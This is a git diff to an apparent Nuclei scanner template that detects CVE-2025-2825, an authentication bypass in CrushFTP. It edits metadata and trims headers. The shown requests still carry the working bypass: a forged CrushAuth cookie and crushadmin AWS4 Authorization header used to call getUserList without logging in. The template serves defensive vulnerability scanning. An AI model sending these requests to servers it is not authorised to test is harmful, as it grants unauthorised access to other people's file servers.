diff --git a/http/cves/2025/CVE-2025-2825.yaml b/http/cves/2025/CVE-2025-2825.yaml index 3260a1ec02bd..16a8afda8fc4 100644 --- a/http/cves/2025/CVE-2025-2825.yaml +++ b/http/cves/2025/CVE-2025-2825.yaml @@ -1,15 +1,16 @@ id: CVE-2025-2825 info: - name: CrushFTP Authentication Bypass + name: CrushFTP - Authentication Bypass author: parthmalhotra,Ice3man,DhiyaneshDk,pdresearch severity: critical description: | CrushFTP versions 10.0.0 through 10.8.3 and 11.0.0 through 11.3.0 are affected by a vulnerability that may result in unauthenticated access. Remote and unauthenticated HTTP requests to CrushFTP may allow attackers to gain unauthorized access. reference: - https://projectdiscovery.io/blog/crushftp-authentication-bypass/ - - https://www.crushftp.com/crush11wiki/Wiki.jsp?page=Update - https://www.rapid7.com/blog/post/2025/03/25/etr-notable-vulnerabilities-in-next-js-cve-2025-29927/ + - https://www.crushftp.com/crush11wiki/Wiki.jsp?page=Update + - https://nvd.nist.gov/vuln/detail/CVE-2025-2825 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 @@ -43,20 +44,12 @@ http: Cookie: CrushAuth={{string_1}}_{{string_2}}{{string_3}}; currentAuth={{string_3}} Host: {{Hostname}} Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/ - Origin: {{RootURL}} - Referer: {{RootURL}}/WebInterface/login.html - X-Requested-With: XMLHttpRequest - Accept-Encoding: gzip - | GET /WebInterface/function/?command=getUserList&serverGroup=MainUsers&c2f={{string_3}} HTTP/1.1 Cookie: CrushAuth={{string_1}}_{{string_2}}{{string_3}}; currentAuth={{string_3}} Host: {{Hostname}} Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/ - Origin: {{RootURL}} - Referer: {{RootURL}}/WebInterface/login.html - X-Requested-With: XMLHttpRequest - Accept-Encoding: gzip stop-at-first-match: true matchers-condition: and @@ -74,4 +67,4 @@ http: - type: status status: - 200 -# digest: 4a0a004730450221009ecd485d20f6314caa786026178ae0fe9a66e8788304326e3cff6295882f0f3502204a4c7b5e54b9280b6e44dae2f5c8df20088d9ee2c95cbae23d3470b740d5aa4c:922c64590222798bb761d5b6d8e72950 \ No newline at end of file +# digest: 4a0a004730450221009ecd485d20f6314caa786026178ae0fe9a66e8788304326e3cff6295882f0f3502204a4c7b5e54b9280b6e44dae2f5c8df20088d9ee2c95cbae23d3470b740d5aa4c:922c64590222798bb761d5b6d8e72950